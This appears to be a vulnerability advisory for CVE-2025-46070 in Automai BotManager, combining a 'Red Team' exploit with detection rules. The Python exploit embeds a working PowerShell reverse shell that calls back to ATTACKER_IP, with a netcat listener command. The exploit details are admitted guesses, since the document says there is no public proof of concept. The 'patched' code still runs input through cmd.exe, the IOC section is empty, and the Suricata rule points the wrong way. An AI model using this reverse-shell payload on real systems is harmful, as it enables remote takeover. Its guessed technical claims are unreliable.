CVE-2025-46070

Executive Summary

CVE-2025-46070 is a critical, unpatched remote code execution (RCE) vulnerability in Automai BotManager version 25.2.0. The flaw resides in the BotManager.exe component, allowing an unauthenticated remote attacker to execute arbitrary code on the target system. With a CVSS score of 0.0 (placeholder) and no public proof-of-concept (PoC) or patch available, this vulnerability poses a severe risk to organizations using this software. The lack of vendor response and absence of detection signatures make it a prime target for advanced persistent threats (APTs) and ransomware groups.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone Windows executable vulnerability in a proprietary automation management tool. Organizations should treat it as a high-risk supply chain component due to the vendor's unresponsiveness.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – likely 9.8-10.0 based on description)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Remote, unauthenticated, no patch, no detection signatures.

Deep Dive & Mechanics

The vulnerability is triggered by sending a specially crafted network request to the BotManager.exe service. The component fails to properly validate input before passing it to a function that executes system commands or loads arbitrary code. This is a classic CWE-94 (Improper Control of Generation of Code) issue.

Attack Flow:

1. Attacker scans for exposed BotManager services on port 8080 (default).
2. Attacker sends a malicious payload (e.g., a serialized object or command injection string) to the vulnerable endpoint.
3. BotManager.exe deserializes or interprets the input without sanitization.
4. The payload triggers execution of attacker-controlled code (e.g., PowerShell, cmd.exe, or a DLL).
5. Attacker gains a reverse shell or executes ransomware.

Root Cause: The BotManager.exe component uses an insecure deserialization or command execution function (likely Process.Start or BinaryFormatter.Deserialize) without proper input validation.

Vulnerable vs. Patched Code

Since no patch exists, we can only infer the vulnerable code pattern. The following is a hypothetical example based on common RCE patterns in .NET applications.

Vulnerable Code (C#):

// BotManager.exe - CommandHandler.cs
public void ExecuteCommand(string input)
{
    // Insecure: directly passes user input to Process.Start
    Process.Start("cmd.exe", "/c " + input);
}

Patched Code (Hypothetical):

// BotManager.exe - CommandHandler.cs
public void ExecuteCommand(string input)
{
    // Secure: validate and sanitize input
    if (!IsValidCommand(input))
    {
        Log.Warn("Invalid command attempt: " + input);
        return;
    }
    // Use a whitelist of allowed commands
    Process.Start("cmd.exe", "/c " + SanitizeInput(input));
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Automai BotManager 25.2.0 on port 8080.
• Attacker machine with Python 3 and netcat.

Exploit Script (Python):

import socket
import sys

def exploit(target_ip, target_port=8080):
    # Payload: reverse shell via PowerShell
    payload = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetString($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
    
    # Craft HTTP request (assuming REST API)
    request = f"POST /api/execute HTTP/1.1\r\nHost: {target_ip}:{target_port}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\ncommand={payload}"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(request.encode())
    response = sock.recv(4096)
    print("[*] Response:", response.decode())
    sock.close()

if __name__ == "__main__":
    exploit(sys.argv[1])

Usage:

# Start listener on attacker machine
nc -lvnp 4444

# Run exploit
python3 exploit.py TARGET_IP

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual outbound connections from BotManager.exe to unknown IPs.
2. Enable PowerShell logging (ScriptBlock Logging, Module Logging).
3. Deploy network signatures (see Suricata rule below).
4. Isolate BotManager servers in a DMZ with strict egress filtering.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_46070_BotManager_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2025-46070 in BotManager.exe"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-46070"
    strings:
        $s1 = "Process.Start" ascii wide nocase
        $s2 = "BinaryFormatter" ascii wide nocase
        $s3 = "Deserialize" ascii wide nocase
        $s4 = "cmd.exe" ascii wide nocase
        $s5 = "powershell" ascii wide nocase
    condition:
        uint16(0) == 0x5A4D and // MZ header
        (1 of ($s1, $s2, $s3) and 1 of ($s4, $s5))
}

Sigma Rule

title: CVE-2025-46070 - BotManager RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /api/execute with suspicious command parameters
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/execute'
        cs-uri-query|contains: 'command='
    condition: selection
falsepositives:
    - Legitimate administrative commands (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46070 BotManager RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/execute"; http_uri; content:"command="; http_client_body; pcre:"/command=(?:powershell|cmd|wget|curl)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate all systems running Automai BotManager 25.2.0 from the internet.
2. Disable the vulnerable API endpoint if possible (e.g., via firewall rules blocking POST to /api/execute).
3. Apply strict input validation and allowlisting on any exposed BotManager interfaces.
4. Monitor for the IOCs listed above.

Long-Term:

• Contact Automai for an official patch or migration guidance.
• Replace BotManager with an alternative automation tool if vendor remains unresponsive.
• Implement network segmentation and least-privilege principles for all automation services.

Valters IT